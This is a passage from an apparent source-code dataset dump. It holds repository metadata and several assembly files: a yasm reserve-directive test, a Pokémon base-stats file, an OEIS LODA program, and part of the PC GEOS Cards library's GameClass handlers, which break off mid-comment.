00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
36.516588
2,999
0.658144
cd87e21654aba88d716d08d3a4d6fda567cfb15d
110
asm
Assembly
pkgs/tools/yasm/src/modules/objfmts/bin/tests/reserve.asm
manggoguy/parsec-modified
d14edfb62795805c84a4280d67b50cca175b95af
[ "BSD-3-Clause" ]
2,151
2020-04-18T07:31:17.000Z
2022-03-31T08:39:18.000Z
pkgs/tools/yasm/src/modules/objfmts/bin/tests/reserve.asm
manggoguy/parsec-modified
d14edfb62795805c84a4280d67b50cca175b95af
[ "BSD-3-Clause" ]
395
2020-04-18T08:22:18.000Z
2021-12-08T13:04:49.000Z
pkgs/tools/yasm/src/modules/objfmts/bin/tests/reserve.asm
manggoguy/parsec-modified
d14edfb62795805c84a4280d67b50cca175b95af
[ "BSD-3-Clause" ]
338
2020-04-18T08:03:10.000Z
2022-03-29T12:33:22.000Z
; Test res* family resb 5 resw 10 resd 50 resq 1 rest 0 [section .bss] resb 1 resw 5 resd 10 resq 40 rest 4
7.333333
18
0.7
c3ddcdd94b705f60a4b220ba9aec6d43be39bb06
871
asm
Assembly
data/pokemon/base_stats/venusaur.asm
AtmaBuster/pokeplat-gen2
fa83b2e75575949b8f72cb2c48f7a1042e97f70f
[ "blessing" ]
6
2021-06-19T06:41:19.000Z
2022-02-15T17:12:33.000Z
data/pokemon/base_stats/venusaur.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
null
null
null
data/pokemon/base_stats/venusaur.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
2
2021-08-11T19:47:07.000Z
2022-01-01T07:07:56.000Z
db 0 ; species ID placeholder db 80, 82, 83, 80, 100, 100 ; hp atk def spd sat sdf db GRASS, POISON ; type db 45 ; catch rate db 208 ; base exp db NO_ITEM, NO_ITEM ; items db GENDER_F12_5 ; gender ratio db 20 ; step cycles to hatch INCBIN "gfx/pokemon/venusaur/front.dimensions" db GROWTH_MEDIUM_SLOW ; growth rate dn EGG_MONSTER, EGG_PLANT ; egg groups db 70 ; happiness ; tm/hm learnset tmhm ROAR, TOXIC, BULLET_SEED, HIDDEN_POWER, SUNNY_DAY, HYPER_BEAM, PROTECT, GIGA_DRAIN, FRUSTRATION, SOLARBEAM, EARTHQUAKE, RETURN, DOUBLE_TEAM, SLUDGE_BOMB, FACADE, SECRET_POWER, REST, ATTRACT, ENERGY_BALL, ENDURE, GIGA_IMPACT, FLASH, SWORDS_DANCE, CAPTIVATE, SLEEP_TALK, NATURAL_GIFT, GRASS_KNOT, SWAGGER, SUBSTITUTE, CUT, STRENGTH, ROCK_SMASH, ROCK_CLIMB, FRENZY_PLANT, FURY_CUTTER, KNOCK_OFF, MUD_SLAP, OUTRAGE, SEED_BOMB, SNORE, SYNTHESIS ; end
43.55
446
0.753157
784ab680e03973a8d5283ff34b1576ba599f8ea1
430
asm
Assembly
oeis/012/A012960.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/012/A012960.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/012/A012960.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A012960: Expansion of e.g.f. exp(arctan(x)+log(x+1)). ; Submitted by Christian Krause ; 1,2,3,2,-11,-30,175,1010,-6135,-60670,374875,5719650,-35199875,-779710750,4687746375,145208599250,-836951243375,-35435177514750,191995883837875,10975003189933250,-54688433347786875 mov $2,1 mov $4,1 lpb $0 sub $3,$4 sub $3,$2 mul $2,$0 mul $3,$0 sub $0,1 add $2,$4 add $3,$4 mov $4,$2 add $2,$3 mov $3,$1 lpe mov $0,$4
21.5
182
0.662791
3215d6d8f4f7ed09e6e5620ffcba1264fb98e706
85,155
asm
Assembly
Library/Cards/game.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Library/Cards/game.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Library/Cards/game.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @---------------------------------------------------------------------- Copyright (c) GeoWorks 1990 -- All Rights Reserved PROJECT: PC GEOS MODULE: Solitaire FILE: game.asm REVISION HISTORY: Name Date Description ---- ---- ----------- Jon 9/90 Initial Version DESCRIPTION: This file contains method handlers for GameClass. RCS STAMP: $Id: game.asm,v 1.1 97/04/04 17:44:41 newdeal Exp $ ------------------------------------------------------------------------------@ CardsClassStructures segment resource GameClass CardsClassStructures ends ;--------------------------------------------------- CardsCodeResource segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameSaveState %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Game method for MSG_GAME_SAVE_STATE Marks the game object dirty, and sends a message to the decks telling them to save state. Called by: MSG_GAME_SAVE_STATE Pass: *ds:si = Game object ds:di = Game instance Return: nothing Destroyed: ax Comments: Revision History: Name Date Description ---- ------------ ----------- jon Feb 18, 1993 Initial version. PW March 23, 1993 modified. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameSaveState method dynamic GameClass, MSG_GAME_SAVE_STATE .enter call ObjMarkDirty mov ax, MSG_DECK_SAVE_STATE call VisSendToChildren .leave ret GameSaveState endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameRestoreState %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Game method for MSG_GAME_RESTORE_STATE seeds the random number generator. Called by: MSG_GAME_RESTORE_STATE Pass: *ds:si = Game object ds:di = Game instance Return: nothing Destroyed: ax, dx Comments: Revision History: Name Date Description ---- ------------ ----------- jon Feb 18, 1993 Initial version. PW March 23, 1993 modified. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameRestoreState method dynamic GameClass, MSG_GAME_RESTORE_STATE .enter call TimerGetCount mov_trash dx, ax mov ax, MSG_GAME_SEED_RANDOM call ObjCallInstanceNoLock .leave ret GameRestoreState endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameSendToDecksNoSave %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Sends a message to all the decks, *not* saving registers between calls Pass: *ds:si - game ax,cx,dx,bp - message data Return: ax,cx,dx,bp - return values from message Destroyed: nothing Comments: Revision History: Name Date Description ---- ------------ ----------- jon Feb 18, 1993 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if 0 GameSendToDecksNoSave proc near uses bx, di .enter clr bx ; initial child (first push bx ; child of push bx ; composite) mov bx, offset VI_link ; Pass offset to LinkPart push bx clr bx ; Use standard function push bx mov bx, OCCT_DONT_SAVE_PARAMS_DONT_TEST_ABORT push bx mov bx, offset Vis_offset mov di, offset VCI_comp call ObjCompProcessChildren .leave ret GameSendToDecksNoSave endp endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameGetVMFile %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Game method for MSG_GAME_GET_VM_FILE Called by: MSG_GAME_GET_VM_FILE Pass: *ds:si = Game object ds:di = Game instance Return: carry set if error, else cx - VM file handle of card bitmaps ax - map block to bitmaps Destroyed: ax Comments: Revision History: Name Date Description ---- ------------ ----------- jon Sep 2, 1992 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameGetVMFile method dynamic GameClass, MSG_GAME_GET_VM_FILE .enter mov cx, ds:[di].GI_vmFile mov ax, ds:[di].GI_mapBlock .leave ret GameGetVMFile endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameRestoreBitmaps %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Will read in the BitMap's of the cards CALLED BY: MSG_GEM_PROCESS_OPEN_APPLICATION handler PASS: *ds:si = GameClass object RETURN: nothing DESTROYED: di SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- PW 3/17/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameRestoreBitmaps method dynamic GameClass, MSG_GAME_RESTORE_BITMAPS .enter ; ; find out our display scheme, determine which resolutio ; to use for the card deck, and setup our geometry ; mov ax, MSG_GEN_APPLICATION_GET_DISPLAY_SCHEME call GenCallApplication push ax ;save DisplayType Deref_DI Game_offset mov ds:[di].GI_displayScheme, ah NOFXIP< segmov es, dgroup, bx ;es = dgroup > FXIP < mov bx, handle dgroup > FXIP < call MemDerefES ;es = dgroup > mov bx, es:vmFileHandle mov ds:[di].GI_vmFile, bx call ObjMarkDirty call VMGetMapBlock call VMLock pop bx ;bh <- DisplayType push bp ;save handle mov es, ax ;ds <- segment of ;map block ;; now run through the map block and find the set of bitmaps ;; we want given the DisplayType. mov cx, es:[DDS_arrayLength] mov di, offset DDS_DRS - size DeckResStruct ; es:[di] -> first DRS minus one DRS ; to account for how the ; loop's written startLoop: add di, size DeckResStruct cmp bh, es:[di].DRS_displayType loopne startLoop ;es:di = DeckResStruct of resolution map to use. This means we ;default to the last entry in the array if nothing else matches. mov bp, ds:[si] add bp, ds:[bp].Game_offset mov ax, es:[di].DRS_mapBlock mov ds:[bp].GI_mapBlock, ax call ObjMarkDirty pop bp ;restore mapblock handle call VMUnlock mov ax, MSG_GAME_GET_VM_FILE call ObjCallInstanceNoLock mov_tr bx, cx ;bx <- vm file handle call VMLock push bp ;save block handle for ;unlocking push ax ;save block segment for later mov di, ds ;di <- game segment mov ds, ax ;ds <- bitmap segment push si mov si, ds:[0].DMS_interior ;*ds:si -> interior region call CopyRegionToChunk pop si Deref_DI Game_offset mov ds:[di].GI_interiorReg, ax call ObjMarkDirty pop ax ;restore block segment mov di, ds ;di <- game segment mov ds, ax ;ds <- bitmap segment push si mov si, ds:[DMS_frame] ;*ds:si -> frame reg call CopyRegionToChunk pop si Deref_DI Game_offset mov ds:[di].GI_frameReg, ax call ObjMarkDirty pop bp call VMUnlock push si mov al, mask OCF_IGNORE_DIRTY ;fade array don't go to state mov bx, size optr ;each element of the array ;will hold an optr clr cx, si call ChunkArrayCreate mov bp, si ;bp <- array offset pop si Deref_DI Game_offset mov ds:[di].GI_fadeArray, bp mov ax, MSG_GAME_SEND_CARD_BACK_NOTIFICATION call ObjCallInstanceNoLock .leave ret GameRestoreBitmaps endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameSetupStuff %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_SETUP_STUFF handler for GameClass Sets up various sizes and defaults necessary when first loading the game in. CALLED BY: called by MSG_GEN_PROCESS_OPEN_APPLICATION handler PASS: *ds:si = game object CHANGES: initializes some data slots RETURN: nothing DESTROYED: di PSEUDO CODE/STRATEGY: sets size (currently height=width=600) tells geometry manager to not manage children KNOWN BUGS/IDEAS: could be moved to some ui file? REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameSetupStuff method GameClass,MSG_GAME_SETUP_STUFF call TimerGetCount mov_trash dx, ax mov ax, MSG_GAME_SEED_RANDOM call ObjCallInstanceNoLock ; ; find out our display scheme, determine which resolutio ; to use for the card deck, and setup our geometry ; mov ax, MSG_GEN_APPLICATION_GET_DISPLAY_SCHEME call GenCallApplication push ax ;save DisplayType Deref_DI Game_offset mov ds:[di].GI_displayScheme, ah NOFXIP< segmov es, dgroup, bx ;es = dgroup > FXIP < mov bx, handle dgroup > FXIP < call MemDerefES ;es = dgroup > mov bx, es:vmFileHandle mov ds:[di].GI_vmFile, bx call ObjMarkDirty call VMGetMapBlock call VMLock pop bx ;bh <- DisplayType push bp ;save handle mov es, ax ;ds <- segment of ;map block ;; now run through the map block and find the set of bitmaps ;; we want given the DisplayType. mov cx, es:[DDS_arrayLength] mov di, offset DDS_DRS - size DeckResStruct ; es:[di] -> first DRS minus one DRS ; to account for how the ; loop's written startLoop: add di, size DeckResStruct cmp bh, es:[di].DRS_displayType loopne startLoop ;es:di = DeckResStruct of resolution map to use. This means we ;default to the last entry in the array if nothing else matches. mov bp, ds:[si] add bp, ds:[bp].Game_offset mov ax, es:[di].DRS_mapBlock mov ds:[bp].GI_mapBlock, ax call ObjMarkDirty mov cx, es:[di].DRS_upSpreadX mov dx, es:[di].DRS_upSpreadY mov ax, MSG_GAME_SET_UP_SPREADS call ObjCallInstanceNoLock mov cx, es:[di].DRS_downSpreadX mov dx, es:[di].DRS_downSpreadY mov ax, MSG_GAME_SET_DOWN_SPREADS call ObjCallInstanceNoLock mov cx, es:[di].DRS_fontSize mov ax, MSG_GAME_SET_FONT_SIZE call ObjCallInstanceNoLock pop bp ;restore mapblock handle push es:[di].DRS_deckSpreadX push es:[di].DRS_deckSpreadY call VMUnlock mov ax, MSG_GAME_GET_VM_FILE call ObjCallInstanceNoLock mov_tr bx, cx ;bx <- vm file handle call VMLock push bp ;save block handle for ;unlocking push ax ;save block segment for later mov di, ds ;di <- game segment mov ds, ax ;ds <- bitmap segment push si mov si, ds:[0].DMS_interior ;*ds:si -> interior region call CopyRegionToChunk pop si Deref_DI Game_offset mov ds:[di].GI_interiorReg, ax call ObjMarkDirty pop ax ;restore block segment mov di, ds ;di <- game segment mov ds, ax ;ds <- bitmap segment push si mov si, ds:[DMS_frame] ;*ds:si -> frame reg call CopyRegionToChunk pop si Deref_DI Game_offset mov ds:[di].GI_frameReg, ax call ObjMarkDirty mov ax, MSG_GAME_SET_CARD_DIMENSIONS call ObjCallInstanceNoLock pop bp call VMUnlock push si mov al, mask OCF_IGNORE_DIRTY ;fade array don't go to state mov bx, size optr ;each element of the array ;will hold an optr clr cx, si call ChunkArrayCreate mov bp, si ;bp <- array offset pop si Deref_DI Game_offset mov ds:[di].GI_fadeArray, bp pop dx pop cx mov ax, MSG_GAME_SETUP_GEOMETRY call ObjCallInstanceNoLock mov ax, MSG_GAME_SEND_CARD_BACK_NOTIFICATION call ObjCallInstanceNoLock ret GameSetupStuff endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameSetCardDimensions %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_SET_CARD_DIMENSIONS handler for GameClass CALLED BY: PASS: *ds:si = game instance cx, dx = width, height of a card RETURN: nothing DESTROYED: nothing REVISION HISTORY: Name Date Description ---- ---- ----------- jon 27 nov 1992 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameSetCardDimensions method dynamic GameClass, MSG_GAME_SET_CARD_DIMENSIONS uses cx, dx, bp .enter mov ds:[di].GI_cardWidth, cx mov ds:[di].GI_cardHeight, dx call ObjMarkDirty mov ax, MSG_VIS_SET_SIZE call VisSendToChildren .leave ret GameSetCardDimensions endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameSetUpSpreads %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_SET_UP_SPREADS handler for GameClass CALLED BY: PASS: *ds:si = game instance cx, dx = x,y spreads for face up cards RETURN: nothing DESTROYED: nothing REVISION HISTORY: Name Date Description ---- ---- ----------- jon 27 nov 1992 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameSetUpSpreads method dynamic GameClass, MSG_GAME_SET_UP_SPREADS .enter mov ds:[di].GI_upSpreadX, cx mov ds:[di].GI_upSpreadY, dx call ObjMarkDirty mov ax, MSG_DECK_SET_UP_SPREADS call VisSendToChildren .leave ret GameSetUpSpreads endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameSetDownSpreads %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_SET_DOWN_SPREADS handler for GameClass CALLED BY: PASS: *ds:si = game instance cx, dx = x,y spreads for face down cards RETURN: nothing DESTROYED: nothing REVISION HISTORY: Name Date Description ---- ---- ----------- jon 27 nov 1992 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameSetDownSpreads method dynamic GameClass, MSG_GAME_SET_DOWN_SPREADS .enter mov ds:[di].GI_downSpreadX, cx mov ds:[di].GI_downSpreadY, dx call ObjMarkDirty mov ax, MSG_DECK_SET_DOWN_SPREADS call VisSendToChildren .leave ret GameSetDownSpreads endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameSendCardBackNotification %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Game method for MSG_GAME_SEND_CARD_BACK_NOTIFICATION Called by: MSG_GAME_SEND_CARD_BACK_NOTIFICATION Pass: *ds:si = Game object ds:di = Game instance Return: nothing Destroyed: ax Comments: Revision History: Name Date Description ---- ------------ ----------- jon Oct 19, 1992 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameSendCardBackNotification method dynamic GameClass, MSG_GAME_SEND_CARD_BACK_NOTIFICATION uses cx,dx,bp .enter mov bx, size NotifyCardBackChange call GameAllocNotifyBlock jc done call MemLock mov es, ax mov ax, MSG_GAME_GET_VM_FILE call ObjCallInstanceNoLock mov es:[NCBC_vmFile], cx mov es:[NCBC_mapBlock], ax mov di, ds:[si] add di, ds:[di].Game_offset mov ax, ds:[di].GI_cardWidth mov es:[NCBC_cardWidth], ax mov ax, ds:[di].GI_cardHeight mov es:[NCBC_cardHeight], ax call MemUnlock mov dx, GWNT_CARD_BACK_CHANGE mov cx, GAGCNLT_APP_TARGET_NOTIFY_CARD_BACK_CHANGE call GameUpdateControllerLow done: .leave ret GameSendCardBackNotification endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameAllocNotifyBlock %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Allocate the block of memory that will be used to update the UI. CALLED BY: PASS: bx - size to allocate RETURN: bx - block handle carry set if unable to allocate DESTROYED: nothing PSEUDO CODE/STRATEGY: Initialize to zero KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 1/ 2/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameAllocNotifyBlock proc near uses ax, cx .enter mov ax, bx ; size mov cx, ALLOC_DYNAMIC or mask HF_SHARABLE or \ (mask HAF_ZERO_INIT) shl 8 call MemAlloc jc done mov ax, 1 call MemInitRefCount clc done: .leave ret GameAllocNotifyBlock endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameUpdateControllerLow %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Low-level routine to update a UI controller CALLED BY: PASS: bx - Data block to send to controller, or 0 to send null data (on LOST_SELECTION) cx - GenAppGCNListType dx - NotifyStandardNotificationTypes RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 12/30/91 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameUpdateControllerLow proc far uses ax,bx,cx,dx,di,si,bp .enter ; create the event call MemIncRefCount ;one more reference push bx, cx, si mov ax, MSG_META_NOTIFY_WITH_DATA_BLOCK mov cx, MANUFACTURER_ID_GEOWORKS mov bp, bx ; data block clr bx, si mov di, mask MF_RECORD call ObjMessage ; di is event pop bx, cx, si ; Create messageParams structure on stack mov dx, size GCNListMessageParams ; create stack frame sub sp, dx mov bp, sp mov ss:[bp].GCNLMP_ID.GCNLT_manuf, MANUFACTURER_ID_GEOWORKS mov ss:[bp].GCNLMP_ID.GCNLT_type, cx push bx ; data block mov ss:[bp].GCNLMP_block, bx mov ss:[bp].GCNLMP_event, di ; If data block is null, then set the IGNORE flag, otherwise ; just set the SET_STATUS_EVENT flag mov ax, mask GCNLSF_SET_STATUS tst bx jnz gotFlags ornf ax, mask GCNLSF_IGNORE_IF_STATUS_TRANSITIONING gotFlags: mov ss:[bp].GCNLMP_flags, ax mov ax, MSG_GEN_PROCESS_SEND_TO_APP_GCN_LIST mov bx, ds:[LMBH_handle] call MemOwner ; bx <- owner clr si mov di, mask MF_STACK or mask MF_FIXUP_DS call ObjMessage pop bx ; data block add sp, size GCNListMessageParams ; fix stack call MemDecRefCount ; we're done with it .leave ret GameUpdateControllerLow endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameUpdateFadeArray %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_UPDATE_FADE_ARRAY handler for GameClass Manages the chunkarray that keeps track of which cards are fading. Cards send this method to the game object, along with a request to add or remove it from the array. This method also controls the timer used to send fade methods (i.e., it starts and stops the timer when necessary). If a card that already appears in the array asks to be added, or if a card not in the array asks to be removed, no action is taken. CALLED BY: PASS: ds:di = game instance *ds:si = game object ^lcx:dx = card requesting an array change bp = PLEASE_ADD_ME_TO_THE_ARRAY if card wants its OD included in the array, PLEASE_REMOVE_ME_FROM_THE_ARRAY if card wants its OD out of the array CHANGES: If array initially has 0 items, and adds a card to itself, then a timer is started (which tells the game when to fade cards in) and a gstate is created (to fade the cards through). If the array has an item to begin with, and removes it, then the timer is stopped and the gstate destroyed. RETURN: nothing DESTROYED: ax, bx, cx, dx, bp, di PSEUDO CODE/STRATEGY: if (card is already in the array) { if (card wants to be removed) { remove it; } } else { if (card wants to be added) { add it; } } if (array was empty to start with) { if (array is not empty now) { create gstate; start timer; } } else if (array had one element to start with) { if (array is now empty) { stop timer; destroy gstate; } } KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/29/90 Added to implement the chunkarray fading mechanism %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ PLEASE_ADD_ME_TO_THE_ARRAY = 1 PLEASE_REMOVE_ME_FROM_THE_ARRAY = -1 ADDED_TO_THE_ARRAY = 100 REMOVED_FROM_THE_ARRAY = -100 CARD_FADE_PERIOD = 2 ;Timer ticks between fades GameUpdateFadeArray method GameClass, MSG_GAME_UPDATE_FADE_ARRAY push si mov si, ds:[di].GI_fadeArray ;*ds:si = array push cx call ChunkArrayGetCount ;get initial array pop ax ;length push cx mov cx, ax mov bx, cs mov di, offset FindElementInFadeArray clr ax call ChunkArrayEnum ;check to see whether tst ax ;the card is already jz didntFindCard ;in the array cmp bp, PLEASE_ADD_ME_TO_THE_ARRAY ;if card wants to fade and is je endGameUpdateFadeArray ;already on the list, then done mov di, ax call ChunkArrayDelete ;else get it off the list. mov bp, REMOVED_FROM_THE_ARRAY CallObjectCXDX MSG_CARD_CLEAR_FADING, MF_FIXUP_DS jmp endGameUpdateFadeArray didntFindCard: cmp bp, PLEASE_REMOVE_ME_FROM_THE_ARRAY ;if card wants to be je endGameUpdateFadeArray ;removed and already ;is, then done. call ChunkArrayAppend mov bp, ADDED_TO_THE_ARRAY mov ds:[di].handle, cx mov ds:[di].chunk, dx endGameUpdateFadeArray: pop ax pop si cmp ax, 1 jg done je hadOneCardToBeginWith ;didntHaveCardsToBeginWith: cmp bp, ADDED_TO_THE_ARRAY jne done ; ; we had no cards to begin with, and now we've added one, ; so we need to start a timer and a gstate ; mov ax, MSG_VIS_VUP_CREATE_GSTATE call ObjCallInstanceNoLock mov bx, ds:[LMBH_handle] mov al, TIMER_EVENT_ONE_SHOT mov cx, CARD_FADE_PERIOD mov dx, MSG_GAME_DISTRIBUTE_FADE call TimerStart Deref_DI Game_offset mov ds:[di].GI_gState, bp call ObjMarkDirty if 0 ;;; unnecessary for one shot mov ds:[di].GI_faderHandle, bx call ObjMarkDirty endif jmp done hadOneCardToBeginWith: cmp bp, REMOVED_FROM_THE_ARRAY jne done ; ; we had one card at the beginning, and removed it, so ; we need to stop our fade timer and destroy our gstate ; Deref_DI Game_offset if 0 ;;;changed to one-shot clr bx xchg bx, ds:[di].GI_faderHandle call ObjMarkDirty EC< tst bx > EC< ERROR_Z CANT_STOP_TIMER_WITH_NULL_HANDLE > clr ax ; 0 => continual call TimerStop endif clr bx xchg bx, ds:[di].GI_gState call ObjMarkDirty EC< tst bx > EC< ERROR_Z CANT_DESTROY_GSTATE_WITH_NULL_HANDLE > mov di, bx call GrDestroyState done: ret GameUpdateFadeArray endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FindElementInArray %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Callback routine for chunk array to find an OD in the array CALLED BY: ChunkArrayEnum within GameUpdateFadeArray PASS: ds:di = array element ^lcx:dx = card to check CHANGES: RETURN: if card OD matches this element, then: carry set 